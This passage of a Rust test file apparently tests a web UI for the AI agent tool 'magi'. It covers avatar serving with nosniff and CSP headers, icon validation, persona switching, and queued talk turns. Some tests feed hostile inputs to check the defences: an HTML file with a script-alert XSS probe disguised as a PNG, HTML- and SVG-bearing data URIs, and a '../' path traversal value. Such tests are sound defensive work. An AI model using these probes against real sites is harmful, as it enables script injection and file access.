13043 let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
13044 let _ = magi_icon_put(
13045 State(ui.clone()),
13046 Json(MagiIconUpload { icon: icon.into() }),
13047 )
13048 .await
13049 .unwrap();
13050 let changed = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
13051 assert_ne!(original, changed);
13052 assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
13053 let response = magi_avatar(
13054 State(ui.clone()),
13055 Query(AvatarQuery {
13056 persona: None,
13057 builtin: None,
13058 }),
13059 )
13060 .await;
13061 assert_eq!(response.headers()[header::CONTENT_TYPE], "image/png");
13062 assert_eq!(response.headers()[header::CACHE_CONTROL], "no-cache");
13063 assert_eq!(
13064 response.headers()[header::X_CONTENT_TYPE_OPTIONS],
13065 "nosniff"
13066 );
13067 for bad in [
13068 "data:image/png;base64,PGh0bWw+".to_owned(),
13069 "data:image/svg+xml;base64,PHN2Zz4=".to_owned(),
13070 "A".repeat(persona_icon::ICON_MAX_BYTES + 1),
13071 ] {
13072 assert!(save_magi_icon(home.path(), &bad).is_err());
13073 assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
13074 }
13075 let restarted = Arc::new(Ui::new(
13077 Queue::at(home.path().join("queue")),
13078 Questions::at(home.path().join("questions")),
13079 Talks::at(home.path().join("talks")),
13080 home.path().join("runs"),
13081 home.path().to_path_buf(),
13082 repo,
13083 ));
13084 assert_eq!(
13085 magi_icon_get(State(restarted.clone())).await.0["avatar"],
13086 changed
13087 );
13088 let view = TalkView::with_config(
13089 restarted.talks.get(&id).unwrap(),
13090 false,
13091 None,
13092 &restarted.home,
13093 &restarted.references,
13094 );
13095 assert_eq!(view.magi_avatar, changed.as_str().unwrap());
13096 std::fs::write(magi_icon_path(home.path()), "invalid").unwrap();
13097 let response = magi_avatar(
13098 State(ui.clone()),
13099 Query(AvatarQuery {
13100 persona: None,
13101 builtin: None,
13102 }),
13103 )
13104 .await;
13105 let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
13106 .await
13107 .unwrap();
13108 assert_eq!(bytes.as_ref(), persona_icon::magi_svg().as_bytes());
13109 let _ = magi_icon_delete(State(ui.clone())).await.unwrap();
13110 assert_eq!(magi_icon_get(State(ui.clone())).await.0["avatar"], original);
13111 let _ = magi_icon_delete(State(ui)).await.unwrap();
13112 }
13113
13114 async fn avatar(
13116 ui: &Arc<Ui>,
13117 id: &str,
13118 persona: Option<&str>,
13119 builtin: bool,
13120 ) -> (StatusCode, String, bool, bool, Vec<u8>) {
13121 let res = talk_avatar(
13122 State(Arc::clone(ui)),
13123 Path(id.to_owned()),
13124 Query(AvatarQuery {
13125 persona: persona.map(str::to_owned),
13126 builtin: builtin.then(|| "1".to_owned()),
13127 }),
13128 )
13129 .await
13130 .expect("an avatar is never an error response");
13131 let h = res.headers();
13132 let ct = h[header::CONTENT_TYPE].to_str().unwrap().to_owned();
13133 let nosniff = h
13134 .get(header::X_CONTENT_TYPE_OPTIONS)
13135 .is_some_and(|v| v == "nosniff");
13136 let csp = h.contains_key(header::CONTENT_SECURITY_POLICY);
13137 let status = res.status();
13138 let body = axum::body::to_bytes(res.into_body(), usize::MAX)
13139 .await
13140 .expect("body")
13141 .to_vec();
13142 (status, ct, nosniff, csp, body)
13143 }
13144
13145 fn tiny_png() -> Vec<u8> {
13146 let mut b = b"\x89PNG\r\n\x1a\n".to_vec();
13147 b.extend_from_slice(&[0u8; 32]);
13148 b
13149 }
13150
13151 #[tokio::test]
13152 async fn operator_avatar_is_distinct_svg_with_a_locked_down_policy() {
13153 let (_tmp, _home, ui, _id, _repo) = avatar_fixture("").await;
13154 let res = operator_avatar(State(ui), Query(AvatarQuery::default())).await;
13155 assert_eq!(res.status(), StatusCode::OK);
13156 assert_eq!(res.headers()[header::CONTENT_TYPE], "image/svg+xml");
13157 assert_eq!(res.headers()[header::X_CONTENT_TYPE_OPTIONS], "nosniff");
13158 assert_eq!(res.headers()[header::CONTENT_SECURITY_POLICY], AVATAR_CSP);
13159 assert_eq!(res.headers()[header::CACHE_CONTROL], "no-cache");
13160 let body = axum::body::to_bytes(res.into_body(), usize::MAX)
13161 .await
13162 .unwrap();
13163 assert_eq!(body.as_ref(), persona_icon::operator_svg().as_bytes());
13164 assert_ne!(
13165 persona_icon::operator_svg(),
13166 persona_icon::builtin_svg("default")
13167 );
13168 }
13169
13170 #[tokio::test]
13171 async fn builtin_avatars_are_svg_with_a_locked_down_policy() {
13172 let (_t, _h, ui, id, _repo) = avatar_fixture("").await;
13173 for p in [
13174 "default", "magi", "rei", "misato", "ritsuko", "shinji", "asuka", "kaworu",
13175 ] {
13176 let (status, ct, nosniff, csp, body) = avatar(&ui, &id, Some(p), false).await;
13177 assert_eq!(status, StatusCode::OK, "{p}");
13178 assert_eq!(ct, "image/svg+xml", "{p}");
13179 assert!(nosniff && csp, "{p}");
13180 assert!(String::from_utf8(body).unwrap().starts_with("<svg"), "{p}");
13181 }
13182 let own = avatar(&ui, &id, None, false).await;
13184 let default = avatar(&ui, &id, Some("default"), false).await;
13185 assert_eq!(own.4, default.4);
13186 let unknown = avatar(&ui, &id, Some("nobody"), false).await;
13187 assert_eq!(unknown.1, "image/svg+xml");
13188 }
13189
13190 #[tokio::test]
13191 async fn a_configured_raster_icon_is_served_and_bad_ones_fall_back() {
13192 let dir = TempDir::new().expect("icons");
13193 let good = dir.path().join("good.png");
13194 std::fs::write(&good, tiny_png()).unwrap();
13195 let spoof = dir.path().join("spoof.png");
13196 std::fs::write(&spoof, b"<html><script>alert(1)</script></html>").unwrap();
13197 let big = dir.path().join("big.png");
13198 let mut bytes = tiny_png();
13199 bytes.resize(persona_icon::ICON_MAX_BYTES + 1, 0);
13200 std::fs::write(&big, bytes).unwrap();
13201 let missing = dir.path().join("missing.png");
13202 let uri = |p: &FsPath| p.to_string_lossy().replace('\\', "/");
13203 let extra = format!(
13204 "[[talk.personas]]\nid = \"rei\"\nicon = \"{}\"\n\
13205 [[talk.personas]]\nid = \"misato\"\nicon = \"{}\"\n\
13206 [[talk.personas]]\nid = \"asuka\"\nicon = \"{}\"\n\
13207 [[talk.personas]]\nid = \"shinji\"\nicon = \"{}\"\n\
13208 [[talk.personas]]\nid = \"kaworu\"\nicon = \"data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\"\n\
13209 [[talk.personas]]\nid = \"magi\"\nicon = \"data:image/png;base64,PGh0bWw+\"\n",
13210 uri(&good),
13211 uri(&spoof),
13212 uri(&big),
13213 uri(&missing),
13214 );
13215 let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
13216
13217 let (status, ct, nosniff, _, body) = avatar(&ui, &id, Some("rei"), false).await;
13218 assert_eq!(
13219 (status, ct.as_str(), nosniff),
13220 (StatusCode::OK, "image/png", true)
13221 );
13222 assert_eq!(body, tiny_png());
13223 let (_, ct, _, _, _) = avatar(&ui, &id, Some("kaworu"), false).await;
13224 assert_eq!(ct, "image/png", "data URI");
13225
13226 for p in ["misato", "asuka", "shinji", "magi"] {
13227 let (status, ct, _, csp, body) = avatar(&ui, &id, Some(p), false).await;
13228 assert_eq!(
13229 (status, ct.as_str(), csp),
13230 (StatusCode::OK, "image/svg+xml", true),
13231 "{p}"
13232 );
13233 assert!(body.starts_with(b"<svg"), "{p}");
13234 }
13235 let (_, ct, _, _, _) = avatar(&ui, &id, Some("rei"), true).await;
13237 assert_eq!(ct, "image/svg+xml");
13238 }
13239
13240 #[tokio::test]
13241 async fn invalid_icons_keep_the_catalog_and_persona_switch_usable() {
13242 let oversized = format!(
13243 "data:image/png;base64,{}",
13244 "A".repeat(persona_icon::ICON_MAX_BYTES)
13245 );
13246 for bad in ["", "/images/avatar.svg", "/a/../b.png", &oversized] {
13247 let extra = format!(
13248 "[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Keep calm\"\nicon = \"{bad}\"\n"
13249 );
13250 let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
13251 let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
13252 .await
13253 .expect("detail with invalid icon");
13254 assert!(detail.personas.iter().any(|p| p.id == "custom"));
13255 let (status, ct, _, _, body) = avatar(&ui, &id, Some("custom"), false).await;
13256 assert_eq!(status, StatusCode::OK);
13257 assert_eq!(ct, "image/svg+xml");
13258 assert_eq!(body, persona_icon::builtin_svg("custom").as_bytes());
13259 let Json(view) = talk_persona(
13260 State(Arc::clone(&ui)),
13261 Path(id.clone()),
13262 Json(TalkPersona {
13263 persona: "custom".into(),
13264 }),
13265 )
13266 .await
13267 .expect("persona switch with invalid icon");
13268 assert_eq!(view.talk.persona, "custom");
13269 assert_eq!(ui.talks.get(&id).unwrap().persona, "custom");
13270 }
13271 }
13272
13273 #[tokio::test]
13274 async fn an_unreadable_config_still_gets_the_builtin_avatar() {
13275 let (_t, _h, ui, id, repo) = avatar_fixture("").await;
13276 std::fs::write(repo.join("magi.toml"), "this is not valid TOML").unwrap();
13277 let (status, ct, nosniff, csp, _) = avatar(&ui, &id, Some("rei"), false).await;
13278 assert_eq!(
13279 (status, ct.as_str(), nosniff, csp),
13280 (StatusCode::OK, "image/svg+xml", true, true)
13281 );
13282 }
13283
13284 #[tokio::test]
13285 async fn the_talk_view_carries_server_built_avatar_urls_only() {
13286 let (_t, _h, ui, id, _repo) =
13287 avatar_fixture("[[talk.personas]]\nid = \"rei\"\nicon = \"~/secret/rei.png\"\n").await;
13288 let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
13289 .await
13290 .expect("detail");
13291 let json = serde_json::to_string(&detail).unwrap();
13292 assert!(
13293 !json.contains("secret"),
13294 "the icon setting must not leak: {json}"
13295 );
13296 assert!(
13297 detail
13298 .view
13299 .persona_avatar
13300 .starts_with(&format!("/api/talks/{id}/avatar?persona=default&v="))
13301 );
13302 assert_eq!(
13303 detail.view.operator_avatar,
13304 format!(
13305 "/avatars/operator.svg?v={}",
13306 persona_icon::fingerprint(Some(persona_icon::operator_svg()))
13307 )
13308 );
13309 assert!(!detail.personas.iter().any(|p| p.id == "operator"));
13310 let rei = detail.personas.iter().find(|p| p.id == "rei").unwrap();
13311 let plain = detail.personas.iter().find(|p| p.id == "asuka").unwrap();
13312 assert!(rei.avatar.contains("persona=rei&v="));
13313 assert_ne!(
13314 rei.avatar.split("&v=").nth(1),
13315 plain.avatar.split("&v=").nth(1)
13316 );
13317 }
13318
13319 #[tokio::test]
13320 async fn empty_settings_turn_releases_inline_only_for_unchanged_generation() {
13321 let (_t, _h, ui, id, repo) = avatar_fixture("").await;
13322 let cfg = config_for(&repo).await.unwrap();
13323 for arrived in [false, true] {
13324 let turn = ui.begin_talk_turn(&id).unwrap().unwrap();
13325 let observed = ui.queued_generation(&id);
13326 let talk = ui.talks.get(&id).unwrap();
13327 if arrived {
13328 assert!(ui.begin_queued_talk_turn(&id).unwrap().is_none());
13329 }
13330 let mut settling = std::pin::pin!(settle_settings_turn(
13331 talk,
13332 ui.talks.clone(),
13333 cfg.clone(),
13334 id.clone(),
13335 turn,
13336 observed
13337 ));
13338 let mut cx = std::task::Context::from_waker(std::task::Waker::noop());
13339 let first = std::future::Future::poll(settling.as_mut(), &mut cx);
13340 assert_eq!(first.is_pending(), arrived);
13341 if arrived {
13342 assert!(!settling.await);
13343 }
13344 assert!(!ui.is_thinking(&id));
13345 }
13346 }
13347
13348 #[tokio::test]
13349 async fn talk_persona_round_trips_and_refuses_unknown_busy_or_closed() {
13350 let tmp = TempDir::new().expect("tempdir");
13351 let repo = tmp.path().join("repo");
13352 std::fs::create_dir_all(&repo).expect("repo dir");
13353 std::fs::write(
13354 repo.join("magi.toml"),
13355 format!(
13356 "{MOCK_AGENT_TOML}\n[[talk.personas]]\nid = \"gendo\"\nname = \"Gendo\"\nprompt = \"Be cold.\"\n"
13357 ),
13358 )
13359 .expect("write magi.toml");
13360 let home = TempDir::new().expect("temp home");
13361 let talks = Talks::at(home.path().join("talks"));
13362 let ui = Arc::new(
13363 Ui::new(
13364 Queue::at(home.path().join("queue")),
13365 Questions::at(home.path().join("questions")),
13366 talks.clone(),
13367 home.path().join("runs"),
13368 home.path().to_path_buf(),
13369 repo.clone(),
13370 )
13371 .with_worktrees_root(home.path().join("wt")),
13372 );
13373 let cfg = config_for(&repo).await.expect("discover config");
13374 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
13375 let id = talk.id.clone();
13376 let call = |persona: &str| {
13377 talk_persona(
13378 State(Arc::clone(&ui)),
13379 Path(id.clone()),
13380 Json(TalkPersona {
13381 persona: persona.to_owned(),
13382 }),
13383 )
13384 };
13385
13386 let unknown = call("nobody").await.expect_err("unknown persona");
13387 assert_eq!(
13388 unknown.status,
13389 StatusCode::BAD_REQUEST,
13390 "{}",
13391 unknown.message
13392 );
13393
13394 {
13395 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
13398 let busy = call("rei").await.expect_err("busy talk");
13399 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
13400 assert!(
13401 busy.message.contains("a talk turn is running"),
13402 "{}",
13403 busy.message
13404 );
13405 drop(guard);
13406 }
13407 assert_eq!(talks.get(&id).expect("reload").persona, "");
13408
13409 let Json(view) = call("gendo").await.expect("switch to a configured persona");
13410 assert_eq!(view.talk.persona, "gendo");
13411 assert_eq!(talks.get(&id).expect("reload").persona, "gendo");
13412 assert!(!ui.is_thinking(&id), "idle response must release the claim");
13413 for chosen in ["default", "gendo", "rei", "gendo"] {
13415 let Json(view) = call(chosen).await.expect("immediate consecutive change");
13416 assert!(!view.thinking);
13417 assert!(!ui.is_thinking(&id));
13418 }
13419
13420 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
13421 .await
13422 .expect("detail");
13423 let ids: Vec<&str> = detail.0.personas.iter().map(|p| p.id.as_str()).collect();
13424 assert_eq!(ids.first(), Some(&"default"));
13425 assert!(ids.contains(&"rei") && ids.contains(&"gendo"));
13426
13427 let Json(view) = call("default").await.expect("back to default");
13428 assert_eq!(view.talk.persona, "");
13429
13430 let mut closed = talks.get(&id).expect("reload");
13431 talk::close(&mut closed, &talks).expect("close");
13432 let refused = call("rei").await.expect_err("closed talk");
13433 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
13434 assert!(
13435 refused.message.contains("takes no more turns"),
13436 "{}",
13437 refused.message
13438 );
13439 }
13440
13441 #[tokio::test]
13442 async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
13443 let f = Fixture::start().await;
13444 let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
13445 let queue = f.queue();
13446 let mut mine = Task::new(
13447 "rename the loader".to_owned(),
13448 "rename the loader".to_owned(),
13449 PathBuf::from("/repo/magi"),
13450 Source::Agent {
13451 run: talk_id.clone(),
13452 node: "chat".to_owned(),
13453 },
13454 );
13455 let empty = f.get(&format!("/api/talks/{talk_id}")).await.json();
13456 assert_eq!(empty["task_progress"]["state"], "none");
13457 assert_eq!(empty["task_progress"]["total"], 0);
13458 queue.put(&mut mine).expect("file the task");
13459 let mut theirs = Task::new(
13460 "unrelated".to_owned(),
13461 "unrelated".to_owned(),
13462 PathBuf::from("/repo/magi"),
13463 Source::Human,
13464 );
13465 theirs.origin_chat = Some(talk_id.clone());
13467 queue.put(&mut theirs).expect("file the task");
13468
13469 let res = f.get(&format!("/api/talks/{talk_id}")).await;
13470 assert_eq!(res.status, 200, "{}", res.body);
13471 let body = res.json();
13472 assert_eq!(
13473 body["status"], "open",
13474 "filing a task does not close a talk"
13475 );
13476 let tasks = body["tasks"].as_array().expect("tasks array");
13477 assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
13478 assert_eq!(tasks[0]["id"], mine.id);
13479 for status in [
13480 TaskStatus::Queued,
13481 TaskStatus::Running,
13482 TaskStatus::Held,
13483 TaskStatus::Failed,
13484 TaskStatus::Blocked,
13485 TaskStatus::Parked,
13486 TaskStatus::Done,
13487 TaskStatus::Queued,
13488 ] {
13489 mine.status = status;
13490 queue.put(&mut mine).expect("update status");
13491 let detail = f.get(&format!("/api/talks/{talk_id}")).await.json();
13492 let progress = &detail["task_progress"];
13493 assert_eq!(progress["total"], 1);
13494 assert_eq!(progress["counts"][status.as_str()], 1);
13495 assert_eq!(detail["tasks"][0]["status"], status.as_str());
13496 assert_eq!(detail["status"], "open", "completion never closes the chat");
13497 if status == TaskStatus::Done {
13498 assert_eq!(progress["state"], "complete");
13499 assert_eq!(progress["done"], 1);
13500 assert_eq!(progress["unfinished_ids"], serde_json::json!([]));
13501 } else {
13502 assert_eq!(progress["state"], "incomplete");
13503 assert_eq!(progress["done"], 0);
13504 assert_eq!(progress["unfinished_ids"], serde_json::json!([mine.id]));
13505 }
13506 }
13507 }
13508
13509 #[test]
13510 fn talk_task_progress_counts_mixed_statuses() {
13511 let mut tasks: Vec<_> = [
13512 TaskStatus::Queued,
13513 TaskStatus::Running,
13514 TaskStatus::Held,
13515 TaskStatus::Failed,
13516 TaskStatus::Blocked,
13517 TaskStatus::Parked,
13518 TaskStatus::Done,
13519 ]
13520 .into_iter()
13521 .map(|status| {
13522 let mut task = Task::new(
13523 "task".into(),
13524 "task".into(),
13525 PathBuf::from("/repo"),
13526 Source::Human,
13527 );
13528 task.status = status;
13529 task
13530 })
13531 .collect();
13532 let progress = talk_task_progress(&tasks);
13533 assert_eq!(progress.state, "incomplete");
13534 assert_eq!(progress.total, 7);
13535 assert_eq!(progress.done, 1);
13536 assert_eq!(progress.unfinished_ids.len(), 6);
13537 assert!(progress.counts.values().all(|count| *count == 1));
13538 assert_eq!(
13539 progress.unfinished_ids,
13540 tasks[..6]
13541 .iter()
13542 .map(|task| task.id.clone())
13543 .collect::<Vec<_>>()
13544 );
13545
13546 for task in &mut tasks {
13547 task.status = TaskStatus::Done;
13548 }
13549 let complete = talk_task_progress(&tasks);
13550 assert_eq!(complete.state, "complete");
13551 assert_eq!(complete.done, 7);
13552 assert!(complete.unfinished_ids.is_empty());
13553 tasks[0].status = TaskStatus::Queued;
13554 let requeued = talk_task_progress(&tasks);
13555 assert_eq!(requeued.state, "incomplete");
13556 assert_eq!(requeued.done, 6);
13557 assert_eq!(requeued.unfinished_ids, vec![tasks[0].id.clone()]);
13558
13559 let empty = talk_task_progress(&[]);
13560 assert_eq!(empty.state, "none");
13561 assert_eq!(empty.total, 0);
13562 assert_eq!(empty.done, 0);
13563 assert!(empty.unfinished_ids.is_empty());
13564 assert!(empty.counts.values().all(|count| *count == 0));
13565 }
13566
13567 #[tokio::test]
13568 async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
13569 let (_tmp, _repo, f) = talk_fixture().await;
13570 let id = f.post("/api/talks", None).await.json()["id"]
13571 .as_str()
13572 .expect("id")
13573 .to_owned();
13574
13575 let res = f
13576 .post(
13577 &format!("/api/talks/{id}/say"),
13578 Some(r#"{"text":"what does the queue module do?"}"#),
13579 )
13580 .await;
13581 assert_eq!(res.status, 202, "{}", res.body);
13582 let queued = res.json();
13583 let turns = queued["turns"].as_array().expect("turns array");
13584 assert_eq!(
13585 turns.len(),
13586 1,
13587 "the answer reflects only what is on disk the instant it is sent, \
13588 before the agent's turn - which can run for the whole of \
13589 `[graph] timeout_talk` - has a chance to land: {queued}"
13590 );
13591 assert_eq!(turns[0]["who"], "operator");
13592 assert_eq!(turns[0]["body"], "what does the queue module do?");
13593 assert_eq!(
13594 queued["thinking"], true,
13595 "the accepted response exposes the background turn claim: {queued}"
13596 );
13597
13598 let mut turns_after = 1;
13599 for _ in 0..SETTLE_STEPS {
13600 let detail = f.get(&format!("/api/talks/{id}")).await.json();
13601 turns_after = detail["turns"].as_array().expect("turns array").len();
13602 if turns_after == 2 {
13603 break;
13604 }
13605 tokio::time::sleep(Duration::from_millis(10)).await;
13606 }
13607 assert_eq!(turns_after, 2, "the agent's reply eventually lands");
13608 }
13609
13610 #[tokio::test]
13637 async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
13638 let tmp = TempDir::new().expect("tempdir");
13639 let repo = tmp.path().join("repo");
13640 std::fs::create_dir_all(&repo).expect("repo dir");
13641 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
13642 let home = TempDir::new().expect("temp home");
13643 let talks = Talks::at(home.path().join("talks"));
13644 let ui = Arc::new(
13645 Ui::new(
13646 Queue::at(home.path().join("queue")),
13647 Questions::at(home.path().join("questions")),
13648 talks.clone(),
13649 home.path().join("runs"),
13650 home.path().to_path_buf(),
13651 repo.clone(),
13652 )
13653 .with_worktrees_root(home.path().join("wt")),
13654 );
13655 let cfg = config_for(&repo).await.expect("discover config");
13656
13657 for delay in 0..40u32 {
13658 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
13659 let id = talk.id.clone();
13660
13661 let handler = tokio::spawn(talk_say(
13662 State(Arc::clone(&ui)),
13663 Path(id.clone()),
13664 Ok(Json(NewTalkTurn {
13665 reply_to: None,
13666 text: "what does the queue module do?".to_owned(),
13667 attachments: Vec::new(),
13668 })),
13669 ));
13670 tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
13671 handler.abort();
13672 let _ = handler.await;
13675
13676 let mut turns = 0;
13677 for _ in 0..SETTLE_STEPS {
13678 if let Ok(fresh) = talks.get(&id) {
13679 turns = fresh.turns.len();
13680 if turns != 1 {
13681 break;
13682 }
13683 }
13684 tokio::time::sleep(Duration::from_millis(10)).await;
13685 }
13686 assert_ne!(
13687 turns, 1,
13688 "delay {delay}: talk {id} recorded the operator's turn but \
13689 the agent never answered - the reply task was never \
13690 started after the handler future was dropped"
13691 );
13692 }
13693 }
13694
13695 #[tokio::test]
13740 async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
13741 let tmp = TempDir::new().expect("tempdir");
13742 let repo = tmp.path().join("repo");
13743 std::fs::create_dir_all(&repo).expect("repo dir");
13744 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
13745 let home = TempDir::new().expect("temp home");
13746 let talks = Talks::at(home.path().join("talks"));
13747 let ui = Arc::new(
13748 Ui::new(
13749 Queue::at(home.path().join("queue")),
13750 Questions::at(home.path().join("questions")),
13751 talks.clone(),
13752 home.path().join("runs"),
13753 home.path().to_path_buf(),
13754 repo.clone(),
13755 )
13756 .with_worktrees_root(home.path().join("wt")),
13757 );
13758 let cfg = config_for(&repo).await.expect("discover config");
13759
13760 for attempt in 0..3u32 {
13761 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
13762 let id = talk.id.clone();
13763 let turn_guard = ui
13766 .begin_talk_turn(&id)
13767 .expect("claim the turn")
13768 .expect("a fresh talk owes nobody a turn");
13769
13770 let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
13771 let (release_tx, release_rx) = std::sync::mpsc::channel();
13772 ui.set_busy_queue_gate(BusyQueueGate {
13773 reached: reached_tx,
13774 release: release_rx,
13775 });
13776
13777 let handler = tokio::spawn(talk_say(
13778 State(Arc::clone(&ui)),
13779 Path(id.clone()),
13780 Ok(Json(NewTalkTurn {
13781 reply_to: None,
13782 text: "what does the queue module do?".to_owned(),
13783 attachments: Vec::new(),
13784 })),
13785 ));
13786
13787 tokio::time::timeout(Duration::from_secs(5), reached_rx)
13792 .await
13793 .unwrap_or_else(|_| {
13794 panic!(
13795 "attempt {attempt}: talk {id} never reached the busy branch's queue write"
13796 )
13797 })
13798 .expect("the busy branch dropped the gate without using it");
13799
13800 let running = talks.get(&id).expect("reload talk");
13807 drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
13808
13809 handler.abort();
13813 let _ = handler.await;
13814
13815 let _ = release_tx.send(());
13821
13822 let mut fresh = talks.get(&id).expect("reload talk");
13825 for _ in 0..SETTLE_STEPS {
13826 if fresh.pending.is_empty() && fresh.turns.len() == 2 {
13827 break;
13828 }
13829 tokio::time::sleep(Duration::from_millis(10)).await;
13830 fresh = talks.get(&id).expect("reload talk");
13831 }
13832 assert!(
13833 fresh.pending.is_empty() && fresh.turns.len() == 2,
13834 "attempt {attempt}: talk {id} left the operator's text queued \
13835 with no drainer - the reclaimed turn was dropped along with \
13836 the handler future (pending {:?}, {} turns)",
13837 fresh.pending,
13838 fresh.turns.len()
13839 );
13840 }
13841 }
13842
13843 #[tokio::test]
13844 async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
13845 let (_tmp, _repo, f) = talk_fixture().await;
13846 let id = f.post("/api/talks", None).await.json()["id"]
13847 .as_str()
13848 .expect("id")
13849 .to_owned();
13850 let store = f.talks();
13851 let mut recovered = store.get(&id).expect("opened talk");
13852 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
13853 .expect("persist pending draft without a live turn");
13854
13855 let edited = f
13856 .post(
13857 &format!("/api/talks/{id}/pending/edit"),
13858 Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
13859 )
13860 .await;
13861 assert_eq!(edited.status, 200, "{}", edited.body);
13862 assert!(edited.json()["thinking"].as_bool().unwrap());
13863
13864 let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
13865 for _ in 0..SETTLE_STEPS {
13866 if detail["turns"].as_array().expect("turns").len() == 2 {
13867 break;
13868 }
13869 tokio::time::sleep(Duration::from_millis(10)).await;
13870 detail = f.get(&format!("/api/talks/{id}")).await.json();
13871 }
13872 let turns = detail["turns"].as_array().expect("turns");
13873 assert_eq!(
13874 turns.len(),
13875 2,
13876 "the recovered draft must run once: {detail}"
13877 );
13878 assert_eq!(turns[0]["body"], "corrected");
13879 assert_eq!(detail["pending"], "");
13880 }
13881
13882 #[tokio::test]
13883 async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
13884 let tmp = TempDir::new().expect("tempdir");
13885 let repo = tmp.path().join("repo");
13886 std::fs::create_dir_all(&repo).expect("repo dir");
13887 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
13888 let f = Fixture::with_repo(repo).await;
13889 let id = f.post("/api/talks", None).await.json()["id"]
13890 .as_str()
13891 .expect("id")
13892 .to_owned();
13893 let store = f.talks();
13894 let mut recovered = store.get(&id).expect("opened talk");
13895 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
13896 .expect("persist pending draft without a live turn");
13897
13898 let refused = f
13899 .post(
13900 &format!("/api/talks/{id}/say"),
13901 Some(r#"{"text":"new message"}"#),
13902 )
13903 .await;
13904 assert_eq!(refused.status, 409, "{}", refused.body);
13905 assert!(refused.body.contains("resume"), "{}", refused.body);
13906 let saved = store.get(&id).expect("draft remains after refusal");
13907 assert!(saved.turns.is_empty());
13908 assert_eq!(saved.pending, "saved before restart");
13909
13910 let say_path = format!("/api/talks/{id}/say");
13911 let (first, second) = tokio::join!(
13912 f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
13913 f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
13914 );
13915 assert_eq!(first.status, 409, "{}", first.body);
13916 assert_eq!(second.status, 409, "{}", second.body);
13917 let saved = store
13918 .get(&id)
13919 .expect("draft remains after concurrent refusals");
13920 assert!(saved.turns.is_empty());
13921 assert_eq!(saved.pending, "saved before restart");
13922
13923 let resumed = f
13924 .post(&format!("/api/talks/{id}/pending/resume"), None)
13925 .await;
13926 assert_eq!(resumed.status, 202, "{}", resumed.body);
13927 let duplicate = f
13928 .post(&format!("/api/talks/{id}/pending/resume"), None)
13929 .await;
13930 assert_eq!(duplicate.status, 409, "{}", duplicate.body);
13931
13932 for _ in 0..SETTLE_STEPS {
13933 if store.get(&id).expect("talk").turns.len() == 2 {
13934 break;
13935 }
13936 tokio::time::sleep(Duration::from_millis(10)).await;
13937 }
13938 let finished = store.get(&id).expect("finished talk");
13939 assert_eq!(finished.turns.len(), 2, "{finished:?}");
13940 assert_eq!(finished.turns[0].body, "saved before restart");
13941 assert!(finished.pending.is_empty());
13942 }
13943
13944 #[tokio::test]
13945 async fn an_image_only_recovered_draft_resumes_without_text() {
13946 let (_tmp, _repo, f) = talk_fixture().await;
13947 let id = f.post("/api/talks", None).await.json()["id"]
13948 .as_str()
13949 .expect("id")
13950 .to_owned();
13951 let uploaded = f
13952 .post_bytes(
13953 &format!("/api/talks/{id}/attachments"),
13954 &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
13955 PNG_BYTES,
13956 )
13957 .await;
13958 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
13959 let attachment = f
13960 .talks()
13961 .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
13962 .expect("attachment metadata")
13963 .expect("stored attachment");
13964 let store = f.talks();
13965 let mut recovered = store.get(&id).expect("opened talk");
13966 talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
13967
13968 let resumed = f
13969 .post(&format!("/api/talks/{id}/pending/resume"), None)
13970 .await;
13971 assert_eq!(resumed.status, 202, "{}", resumed.body);
13972 for _ in 0..SETTLE_STEPS {
13973 if store.get(&id).expect("talk").turns.len() == 2 {
13974 break;
13975 }
13976 tokio::time::sleep(Duration::from_millis(10)).await;
13977 }
13978 let finished = store.get(&id).expect("finished talk");
13979 assert_eq!(finished.turns.len(), 2, "{finished:?}");
13980 assert!(finished.turns[0].body.is_empty());
13981 assert_eq!(finished.turns[0].attachments.len(), 1);
13982 assert!(finished.pending_attachments.is_empty());
13983 }
13984
13985 #[tokio::test]
13986 async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
13987 let (_tmp, _repo, f) = talk_fixture().await;
